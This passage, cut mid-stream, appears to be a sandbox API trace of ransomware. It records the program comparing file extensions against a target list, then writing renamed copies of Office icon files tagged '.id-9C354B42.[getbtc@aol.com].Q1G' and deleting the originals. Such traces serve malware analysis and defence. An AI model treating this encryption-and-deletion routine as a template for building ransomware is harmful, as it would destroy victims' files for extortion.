lpString2=".CFG") returned 1 [0261.853] lstrlenW (lpString=".xls") returned 4 [0261.853] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.853] lstrlenW (lpString=".xlsx") returned 5 [0261.853] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0261.853] lstrlenW (lpString=".ppt") returned 4 [0261.853] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.853] lstrlenW (lpString=".zip") returned 4 [0261.853] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.853] lstrlenW (lpString=".rar") returned 4 [0261.853] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.853] lstrlenW (lpString=".bz2") returned 4 [0261.853] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.853] lstrlenW (lpString=".7z") returned 3 [0261.853] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.853] lstrlenW (lpString=".dbf") returned 4 [0261.853] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.853] lstrlenW (lpString=".1cd") returned 4 [0261.853] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.853] lstrlenW (lpString=".jpg") returned 4 [0261.853] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.853] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.853] lstrlenW (lpString="DOCL.ICO") returned 8 [0261.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.854] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1078) returned 1 [0261.854] CloseHandle (hObject=0x3dc) returned 1 [0261.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico")) returned 0x20 [0261.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.854] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.854] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.855] GetLastError () returned 0x0 [0261.855] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x436, lpOverlapped=0x0) returned 1 [0262.155] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x440, lpOverlapped=0x0) returned 1 [0262.156] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.156] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.156] SetEndOfFile (hFile=0x3e0) returned 1 [0262.156] CloseHandle (hObject=0x3e0) returned 1 [0262.157] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.157] SetEndOfFile (hFile=0x3dc) returned 1 [0262.159] CloseHandle (hObject=0x3dc) returned 1 [0262.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico")) returned 1 [0262.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.160] lstrlenW (lpString=".doc") returned 4 [0262.160] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.160] lstrlenW (lpString=".docx") returned 5 [0262.160] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.160] lstrlenW (lpString=".pdf") returned 4 [0262.160] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.160] lstrlenW (lpString=".xls") returned 4 [0262.161] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.161] lstrlenW (lpString=".xlsx") returned 5 [0262.161] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.161] lstrlenW (lpString=".ppt") returned 4 [0262.161] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.161] lstrlenW (lpString=".zip") returned 4 [0262.161] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.161] lstrlenW (lpString=".rar") returned 4 [0262.161] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.161] lstrlenW (lpString=".bz2") returned 4 [0262.161] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.161] lstrlenW (lpString=".7z") returned 3 [0262.161] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.161] lstrlenW (lpString=".dbf") returned 4 [0262.161] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.161] lstrlenW (lpString=".1cd") returned 4 [0262.161] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.161] lstrlenW (lpString=".jpg") returned 4 [0262.161] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.161] lstrlenW (lpString=".doc") returned 4 [0262.161] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.161] lstrlenW (lpString=".docx") returned 5 [0262.161] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.161] lstrlenW (lpString=".pdf") returned 4 [0262.161] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.161] lstrlenW (lpString=".xls") returned 4 [0262.161] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.161] lstrlenW (lpString=".xlsx") returned 5 [0262.161] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.162] lstrlenW (lpString=".ppt") returned 4 [0262.162] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.162] lstrlenW (lpString=".zip") returned 4 [0262.162] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.162] lstrlenW (lpString=".rar") returned 4 [0262.162] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.162] lstrlenW (lpString=".bz2") returned 4 [0262.162] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.162] lstrlenW (lpString=".7z") returned 3 [0262.162] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.162] lstrlenW (lpString=".dbf") returned 4 [0262.162] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.162] lstrlenW (lpString=".1cd") returned 4 [0262.162] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62 [0262.162] lstrlenW (lpString=".jpg") returned 4 [0262.162] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.162] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.162] lstrlenW (lpString="NOTEL.ICO") returned 9 [0262.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.368] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1078) returned 1 [0262.368] CloseHandle (hObject=0x39c) returned 1 [0262.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico")) returned 0x20 [0262.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.382] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.382] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.383] GetLastError () returned 0x0 [0262.383] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x436, lpOverlapped=0x0) returned 1 [0262.447] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x440, lpOverlapped=0x0) returned 1 [0262.448] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.449] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0262.449] SetEndOfFile (hFile=0x3e0) returned 1 [0262.449] CloseHandle (hObject=0x3e0) returned 1 [0262.449] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.449] SetEndOfFile (hFile=0x3dc) returned 1 [0262.451] CloseHandle (hObject=0x3dc) returned 1 [0262.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notel.ico")) returned 1 [0262.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.452] lstrlenW (lpString=".doc") returned 4 [0262.452] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.452] lstrlenW (lpString=".docx") returned 5 [0262.452] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.452] lstrlenW (lpString=".pdf") returned 4 [0262.452] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.452] lstrlenW (lpString=".xls") returned 4 [0262.452] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.452] lstrlenW (lpString=".xlsx") returned 5 [0262.452] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.452] lstrlenW (lpString=".ppt") returned 4 [0262.452] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.452] lstrlenW (lpString=".zip") returned 4 [0262.452] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.452] lstrlenW (lpString=".rar") returned 4 [0262.452] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.452] lstrlenW (lpString=".bz2") returned 4 [0262.452] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.452] lstrlenW (lpString=".7z") returned 3 [0262.452] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.452] lstrlenW (lpString=".dbf") returned 4 [0262.452] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.452] lstrlenW (lpString=".1cd") returned 4 [0262.452] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.452] lstrlenW (lpString=".jpg") returned 4 [0262.452] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.453] lstrlenW (lpString=".doc") returned 4 [0262.453] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.453] lstrlenW (lpString=".docx") returned 5 [0262.453] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.453] lstrlenW (lpString=".pdf") returned 4 [0262.453] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.453] lstrlenW (lpString=".xls") returned 4 [0262.453] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.453] lstrlenW (lpString=".xlsx") returned 5 [0262.453] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.453] lstrlenW (lpString=".ppt") returned 4 [0262.453] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.453] lstrlenW (lpString=".zip") returned 4 [0262.453] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.453] lstrlenW (lpString=".rar") returned 4 [0262.453] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.453] lstrlenW (lpString=".bz2") returned 4 [0262.453] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.453] lstrlenW (lpString=".7z") returned 3 [0262.453] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.453] lstrlenW (lpString=".dbf") returned 4 [0262.453] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.453] lstrlenW (lpString=".1cd") returned 4 [0262.453] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTEL.ICO") returned 63 [0262.453] lstrlenW (lpString=".jpg") returned 4 [0262.453] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.453] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.454] lstrlenW (lpString="OOFS.ICO") returned 8 [0262.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.454] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2998) returned 1 [0262.454] CloseHandle (hObject=0x3dc) returned 1 [0262.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico")) returned 0x20 [0262.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.455] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.455] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0262.455] GetLastError () returned 0x0 [0262.455] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0262.488] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0262.488] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.488] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0262.489] SetEndOfFile (hFile=0x3e0) returned 1 [0262.577] CloseHandle (hObject=0x3e0) returned 1 [0262.577] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.577] SetEndOfFile (hFile=0x3dc) returned 1 [0262.579] CloseHandle (hObject=0x3dc) returned 1 [0262.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofs.ico")) returned 1 [0262.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.594] lstrlenW (lpString=".doc") returned 4 [0262.594] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.594] lstrlenW (lpString=".docx") returned 5 [0262.594] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.594] lstrlenW (lpString=".pdf") returned 4 [0262.594] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.594] lstrlenW (lpString=".xls") returned 4 [0262.594] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.594] lstrlenW (lpString=".xlsx") returned 5 [0262.594] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.594] lstrlenW (lpString=".ppt") returned 4 [0262.594] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.594] lstrlenW (lpString=".zip") returned 4 [0262.594] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.594] lstrlenW (lpString=".rar") returned 4 [0262.594] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.594] lstrlenW (lpString=".bz2") returned 4 [0262.594] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.594] lstrlenW (lpString=".7z") returned 3 [0262.594] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.595] lstrlenW (lpString=".dbf") returned 4 [0262.595] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.595] lstrlenW (lpString=".1cd") returned 4 [0262.595] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.595] lstrlenW (lpString=".jpg") returned 4 [0262.595] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.595] lstrlenW (lpString=".doc") returned 4 [0262.595] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.595] lstrlenW (lpString=".docx") returned 5 [0262.595] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.595] lstrlenW (lpString=".pdf") returned 4 [0262.595] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.595] lstrlenW (lpString=".xls") returned 4 [0262.595] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.595] lstrlenW (lpString=".xlsx") returned 5 [0262.595] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.595] lstrlenW (lpString=".ppt") returned 4 [0262.595] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0262.595] lstrlenW (lpString=".zip") returned 4 [0262.595] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.595] lstrlenW (lpString=".rar") returned 4 [0262.595] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.595] lstrlenW (lpString=".bz2") returned 4 [0262.595] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.595] lstrlenW (lpString=".7z") returned 3 [0262.595] lstrcmpiW (lpString1=".7z", 